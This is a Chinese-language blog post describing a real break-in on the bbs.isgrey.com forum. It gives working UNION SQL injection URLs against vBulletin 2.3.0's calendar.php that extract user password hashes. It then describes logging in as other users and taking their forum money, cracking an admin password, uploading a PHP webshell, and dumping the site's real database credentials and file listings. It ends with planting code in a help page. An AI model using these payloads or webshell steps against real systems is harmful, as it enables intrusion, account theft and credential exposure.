信息来源:LinYin's Blog
文章作者:猪蛋&黑夜
灰色轨迹.一个人气很不错的黑客技术站点.
更多...
入侵灰色轨迹论坛(bbs.isgrey.com)过程.
hoho`千万别传出去!要不我会死的!
灰色轨迹.一个人气很不错的黑客技术站点.也是当年培育我成长得地方.1日.闲来无事.ASP已经没什么意思了.基本就那些东西了.人人都会.并且很多东西已经公开了也.所以就看了看VBB论坛.因为是由于灰色论坛引发得兴趣.所以当然先看看灰色论坛用得版本了.vBulletin Forum 2.3.0 恩.好的.迅速找了套就打开看.
来到日历页
calendar.php,发现问题!~
-------- 相关代码如下 ----------
复制内容到剪贴板
代码:
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
if ($eventinfo[userid] != $bbuserinfo[userid])
{
$permissions=getpermissions();
if ($permissions[canpublicedit]!=1) {
show_nopermission();
}OK.我们可以看到eventid没有过滤.可以进行SQL INJECTION注射攻击.所以下面我们来构造句子进行注射
PHP+MYSQL的注射攻击条件比较难.由于MYSQL本身功能问题.限制了不少有用的注射方法.所以我们要完成注射就要找别的方法了.
如果论坛使用的MySQL版本在4.00以上, 就可以进行UNION攻击.至于如何察看MYSQL版本就不多说了.利用注射就可以做到得.
攻击演示句子:
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate 此时query_first函数将只返回第一行的查询结果,如果存在漏洞.我们将看到MYSQL得版本和MYSQL得用户
如果我们构造好.就可以得到数据库得任何内容.当然包括USER表中的密码
开始对灰色轨迹论坛进行测试:
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate我们看到了结果.
4.0.2-alpha-nt -----------------出现在标题栏--------就是我们的user()函数
isgreyvbb@localhost ------------------------------事件内容里-----我们的version()函数
再来
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate看起来 中新软件-灰色轨迹安全咨讯站技术讨论区 数据库发生了一些微小的错误.
请按浏览器的 刷新 按钮重试.
一封 E-Mail 已经发送给 技术支持信箱, 如果问题仍然存在,你也可以直接联系.
对给你造成的不便我们深表歉意.
上面是构造错误.产生错误的MYSQL语法出现的提示.
***************************************************************************************
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',now(),database()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdatevbb----------数据库名字
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?s=&action=edit&eventid=10%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),md5(123456)%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdatee10adc3949ba59abbe56e057f20f883e
哈哈........随便测试了几个函数.都成功了.但是我们怎么来取得密码呢?
*****************************************************************************************
下面来构造取密码的句子:
恩。测试UNION.UNION是联合技术.两张表字段要相等.类型要相似.满足条件非常简单.
复制内容到剪贴板
代码:
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
MySQL said:
The used SELECT statements have a different number of columns恩。字段不相等.错误
********************************************************************************************
本地测试UNION句子:
复制内容到剪贴板
代码:
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
allowsmilies public userid eventdate event subject
Edit Delete 1 1 1 2000-00-01 welcomesay 6a204bd89f3c8348afd5c77c717a097a 恩。返回成功了.我们看到了想要得东西.密码!~我们的句子就要这样构造就行了.
回到灰色论坛来:
***********************************************************************************
复制内容到剪贴板
代码:
http://zerolu.vicp.net/calendar.php?s=&action=edit&eventid=11%20UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate哈哈!!!!!!!!!!成功.可以显示任何人密码了.哈哈!~测试成功!~
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate哈哈.蓝骑士的密码拿来了.我们登陆看看.哼!~
欢迎你回来:蓝骑士...............哈哈...........成功!~
然后就进了银行.将他仅有的192个金币转走了.嘻!~
接下来我们来取沙子得密码先查他ID
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate恩。返回了ID号.6565-----------沙子得ID
查查SANDFLEE的USERID多少.呀.单引号也可以使用呀.哈哈.有意思.
复制内容到剪贴板
代码:
http://bbs.isgrey.com/calendar.php?action=edit&eventid=12%20UNION%20(SELECT%201,0,12695,'1999-01-01',username,password%20FROM%20user%20WHERE%20userid=6565)%20order%20by%20eventdate哈哈.USERID=6565的用户和密码出来了.!~
然后当然是登陆.偷他钱了.哼 ---------------欢迎你回来:Sandflee
用户名: Sandflee
总资产: 1582414
现金: 1
存款: 1582413
恩.先拿他100万了.给他留点
http://bbs.isgrey.com/showgroups.php 恩.来察看了一下管理员情况.有三个哦
本来是32位密码.去掉前后8位是16位的了.
sandflee --------------6565 d82f53035a0311f0
pskey -------13384 e429cd6be979bb0a
IpFilterImD ----9914 6a31ceb936eeef23
进入后台:
29175183 sandflee ----------破出的密码.呵呵.幸好是数字哦
.
来到表情符号上传那就可以开始上传PHP文件了.
另外要备份数据库也很简单.都是现成提供好的功能了.呵呵..........
然后我们写个小程序.
heiye.php
http://bbs.isgrey.com/images/smilies/heiye.php?a=..\..\admin\config.php
呵呵..........MYSQL的用户和密码也来了.网页是不显示的.空白的.察看源代码就可以看到了
复制内容到剪贴板
代码:
/////////////////////////////////////////////////////////////
// Please note that if you get any errors when connecting, //
// that you will need to email your host as we cannot tell //
// you what your specific values are supposed to be //
/////////////////////////////////////////////////////////////
// type of database running
// (only mysql is supported at the moment)
$dbservertype='mysql';
// hostname or ip of server
$servername='localhost';
// username and password to log onto db server
$dbusername='isgreyvbb';
$dbpassword='bbq139';
// name of database
$dbname='vbb';
// technical email address - any error messages will be emailed here
$technicalemail='[email]webmaster@isgrey.com[/email]';
// use persistant connections to the database
// 0 = don't use
// 1 = use
$usepconnect=0;
?>824OK,看见MYSQL密码了.这里他限制外部连接了............呵呵...........
后来写了些小脚本上去.因为他禁止了调用CMD.只能利用PHP内部函数了.
http://bbs.isgrey.com/admin/temp3.php?c=dir&f=d:\
bbs mysql RECYCLER sandflee System Volume Information temp
http://bbs.isgrey.com/admin/temp3.php?c=dir&f=c:\Zxfirewall\
. .. config.ini drivers install install.bat InterfaceDLL.dll IPFControlService.exe IPFMonitor.exe password.key systemfilters.txt uninstall.bat
http://bbs.isgrey.com/admin/temp3.php?c=file&f=c:\Zxfirewall\config.ini
server=127.0.0.1 18
http://bbs.isgrey.com/admin/temp3.php?c=file&f=c:\Zxfirewall\install.bat
ipfcontrolservice -i ipfcontrolservice -s 44
http://bbs.isgrey.com/admin/temp3.php?c=file&f=c:\Zxfirewall\systemfilters.txt
; For test only ; 允许自己用ping命令探测其他机器 Filter { name = 允许自己用ping命令探测其他机器 description = 防止别人用ping命令探测 protocol = ICMP ICMP_Type = 0 receive pass } ; 防止别人用ping命令探测 Filter { name = 防止别人用ping命令探测 description = 防止别人用ping命令探测 protocol = ICMP icmp_type = 8 receive } ; HTTP protocol filter { name = 禁止HTTP协议(80端口) description = 禁止HTTP协议(80端口) protocol = TCP tcp_remoteport = 80 send receive } 513
恩..........看了些文件.没意思了.现在就能改论坛首页了.不过我们的目的是检测.没有破坏的意思.所以就没有做了.毕竟对灰色有感情.
后来就找了个帮助页.插进了我们的代码.走人了.
总结.PHP注入的确比ASP难得多.不过.多去研究发现.很多问题还是存在得.比ASP等有意思多了.